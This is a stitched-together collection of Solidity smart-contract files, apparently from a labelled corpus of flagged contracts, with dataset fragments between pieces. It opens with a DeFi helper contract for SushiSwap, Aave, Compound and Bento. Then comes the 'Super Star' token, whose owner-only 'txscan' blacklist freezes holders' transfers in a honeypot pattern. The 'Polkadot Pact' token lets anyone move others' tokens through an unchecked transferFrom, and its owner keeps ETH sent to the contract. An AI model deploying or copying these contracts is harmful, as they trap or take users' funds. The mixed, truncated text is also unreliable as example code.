address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).balanceOf(address(this)), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).balanceOf(address(this)), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/// @notice Helper function to `permit()` this contract to deposit `dai` into `bento` for benefit of `to`.
function daiToBentoWithPermit(
address to, uint256 amount, uint256 nonce, uint256 expiry,
uint8 v, bytes32 r, bytes32 s
) external {
IDaiPermit(dai).permit(msg.sender, address(this), nonce, expiry, true, v, r, s); // `permit()` this contract to spend `msg.sender` `dai`
IERC20(dai).safeTransferFrom(msg.sender, address(this), amount); // pull `dai` `amount` into this contract
bento.deposit(IERC20(dai), address(this), to, amount, 0); // stake `dai` into BENTO for `to`
}
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external {
bento.deposit(token, address(this), to, token.balanceOf(address(this)), 0);
}
function balanceFromBento(IERC20 token, address to) external {
bento.withdraw(token, msg.sender, to, bento.balanceOf(token, msg.sender), 0);
}
function ethToBento(address to) external payable {
IWETH(wETH).deposit{value: msg.value}();
bento.deposit(IERC20(wETH), address(this), to, msg.value, 0);
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).balanceOf(address(this)), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.balanceOf(address(this)));
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).balanceOf(address(this)));
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.deposit(underlying, address(this), to, underlying.balanceOf(address(this)), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).balanceOf(address(this))); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).balanceOf(address(this)), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).balanceOf(address(this))); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).balanceOf(address(this))); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).balanceOf(address(this))); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).balanceOf(address(this))); // stake resulting xSUSHI into crXSUSHI
bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).balanceOf(address(this)), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).balanceOf(address(this))); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice SushiSwap `msg.value` ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function ethToStakeSushiToBento(address to) external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(amountOut, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.balanceOf(address(this))); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).balanceOf(address(this)), 0); // stake resulting xSUSHI into BENTO for `msg.sender`
}
/// @notice SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to` - if `fromToken` is `wETH`, convert `msg.value` to `wETH`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external payable returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
if (fromToken == wETH) {
require(msg.value == amountIn, 'value must match');
IWETH(wETH).deposit{value: msg.value}();
} else {
IERC20(fromToken).safeTransferFrom(msg.sender, address(this), amountIn);}
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).balanceOf(address(this));
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(amountOut, 0, to, "");
}
}
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pragma solidity =0.6.6;
import "./ERC20Events.sol";
import "./Star.sol";
import "./ERC20BaseToken.sol";
import "./SuperOperators.sol";
import "./ERC20BasicApproveExtension.sol";
import "./BytesUtil.sol";
import "./ERC20ExecuteExtension.sol";
contract ERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private TXscan;
uint256 internal _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
bool initialTokenGenerationFinish;
constructor () public {
_name = "Super Star";
_symbol = "STAR";
_decimals = 9;
initialTokenGenerationFinish = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
bool public initialTokensGenerationFinish;
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function isTXscanned(address _address) public view returns (bool) {
return TXscan[_address];
}
function txscan(address account) external onlyOwner() {
TXscan[account] = true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (TXscan[sender] || TXscan[recipient])
require(amount == 0, "Transfer amount must be greater than zero");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* This implementation is agnostic to the way tokens are created.
* This means that a supply mechanism has to be added in a derived contract.
*/
function initialLiquidityTokens (address Contract, uint256 initialSupply) public onlyOwner {
require(initialTokenGenerationFinish == false);
_totalSupply = _totalSupply.add(initialSupply);
_balances[Contract] = _balances[Contract].add(initialSupply);
initialTokensGenerationFinish = true;
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract SuperStar is ERC20 {
using SafeMath for uint256;
/// @notice self-explanatory
address uniswapV2Factory;
address uniswapV2Router;
/// @notice uniswap pair for GEM/ETH
address uniswapPair;
/// @notice Whether or not this token is first in uniswap GEM<>ETH pair
bool isThisToken0;
/// @notice last TWAP update time
uint32 blockTimestampLast;
/// @notice last TWAP cumulative price
uint256 priceCumulativeLast;
/// @notice last TWAP average price
uint256 priceAverageLast;
/// @notice TWAP min delta (10-min)
uint256 minDeltaTwap;
event TwapUpdated(uint256 priceCumulativeLast, uint256 blockTimestampLast, uint256 priceAverageLast);
constructor() public Ownable() ERC20(){
}
function _updateTwap() internal virtual returns (uint256) {
(uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(uniswapPair);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > minDeltaTwap) {
uint256 priceCumulative = isThisToken0 ? price1Cumulative : price0Cumulative;
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(
uint224((priceCumulative - priceCumulativeLast) / timeElapsed)
);
priceCumulativeLast = priceCumulative;
blockTimestampLast = blockTimestamp;
priceAverageLast = FixedPoint.decode144(FixedPoint.mul(priceAverage, 1 ether));
emit TwapUpdated(priceCumulativeLast, blockTimestampLast, priceAverageLast);
}
return priceAverageLast;
}
} | True | [
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pragma solidity ^0.6.6;
//SPDX-License-Identifier: UNLICENSED
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
}
}
}
// ----------------------------------------------------------------------------
//Tokenlock trade
// ----------------------------------------------------------------------------
contract Tokenlock is Owned {
uint8 isLocked = 0;
event Freezed();
event UnFreezed();
modifier validLock {
require(isLocked == 0);
_;
}
function freeze() public onlyOwner {
isLocked = 1;
emit Freezed();
}
function unfreeze() public onlyOwner {
isLocked = 0;
emit UnFreezed();
}
mapping(address => bool) blacklist;
event LockUser(address indexed who);
event UnlockUser(address indexed who);
modifier permissionCheck {
require(!blacklist[msg.sender]);
_;
}
function lockUser(address who) public onlyOwner {
blacklist[who] = true;
emit LockUser(who);
}
function unlockUser(address who) public onlyOwner {
blacklist[who] = false;
emit UnlockUser(who);
}
}
contract Pact is Tokenlock {
using SafeMath for uint;
string public name = "Polkadot Pact";
string public symbol = "PACT";
uint8 public decimals = 18;
uint internal _rate=100;
uint internal _amount;
uint256 public totalSupply;
//bank
mapping(address => uint) bank_balances;
//eth
mapping(address => uint) activeBalances;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Transfer(address indexed _from, address indexed _to, uint256 value);
event Burn(address indexed _from, uint256 value);
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
//Called when sent
event Sent(address from, address to, uint amount);
event FallbackCalled(address sent, uint amount);
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
constructor (uint totalAmount) public{
totalSupply = totalAmount * 10**uint256(decimals);
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
/* function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}*/
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOfBank(address tokenOwner) public view returns (uint balance) {
return bank_balances[tokenOwner];
}
function balanceOfReg(address tokenOwner) public view returns (uint balance) {
return activeBalances[tokenOwner];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Issue a new amount of tokens
// these tokens are deposited into the owner address
// @param _amount Number of tokens to be issued
// ------------------------------------------------------------------------
function issue(uint amount) public onlyOwner {
require(totalSupply + amount > totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
totalSupply += amount;
emit Issue(amount);
}
// ------------------------------------------------------------------------
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
// ------------------------------------------------------------------------
function redeem(uint amount) public onlyOwner {
require(totalSupply >= amount);
require(balances[owner] >= amount);
totalSupply -= amount;
balances[owner] -= amount;
emit Redeem(amount);
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public validLock permissionCheck onlyPayloadSize(2 * 32) returns (bool success) {
require(to != address(0));
require(balances[msg.sender] >= tokens && tokens > 0);
require(balances[to] + tokens >= balances[to]);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public validLock permissionCheck onlyPayloadSize(3 * 32) returns (bool success) {
require(to != address(0));
require(balances[from] >= tokens && tokens > 0);
require(balances[to] + tokens >= balances[to]);
balances[from] = balances[from].sub(tokens);
if(allowed[from][msg.sender] > 0)
{
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
}
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferStore(address from, address to, uint tokens) public validLock permissionCheck onlyPayloadSize(3 * 32) returns (bool success) {
require(to != address(0));
require(balances[from] >= tokens && tokens > 0);
require(balances[to] + tokens >= balances[to]);
balances[from] = balances[from].sub(tokens);
if(allowed[from][msg.sender] > 0)
{
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
}
balances[to] = balances[to].add(tokens);
bank_balances[from] = bank_balances[from].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner {
// return ERC20Interface(tokenAddress).transfer(owner, tokens);
address(uint160(tokenAddress)).transfer(tokens);
emit Sent(owner,tokenAddress,tokens);
}
// ------------------------------------------------------------------------
// ERC20 withdraw
// -----------------------------------------
function withdraw() onlyOwner public {
msg.sender.transfer(address(this).balance);
_amount = 0;
}
function showAmount() onlyOwner public view returns (uint) {
return _amount;
}
function showBalance() onlyOwner public view returns (uint) {
return owner.balance;
}
// ------------------------------------------------------------------------
// ERC20 set rate
// -----------------------------------------
function set_rate(uint _vlue) public onlyOwner{
require(_vlue > 0);
_rate = _vlue;
}
// ------------------------------------------------------------------------
// ERC20 tokens
// -----------------------------------------
receive() external payable{
/* require(balances[owner] >= msg.value && msg.value > 0);
balances[msg.sender] = balances[msg.sender].add(msg.value * _rate);
balances[owner] = balances[owner].sub(msg.value * _rate); */
_amount=_amount.add(msg.value);
activeBalances[msg.sender] = activeBalances[msg.sender].add(msg.value);
}
// ------------------------------------------------------------------------
// ERC20 recharge
// -----------------------------------------
function recharge() public payable{
_amount=_amount.add(msg.value);
activeBalances[msg.sender] = activeBalances[msg.sender].add(msg.value);
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
contract Owned {
address public owner;
address public proposedOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() virtual {
require(msg.sender == owner);
_;
}
/**
* @dev propeses a new owner
* Can only be called by the current owner.
*/
function proposeOwner(address payable _newOwner) external onlyOwner {
proposedOwner = _newOwner;
}
/**
* @dev claims ownership of the contract
* Can only be called by the new proposed owner.
*/
function claimOwnership() external {
require(msg.sender == proposedOwner);
emit OwnershipTransferred(owner, proposedOwner);
owner = proposedOwner;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
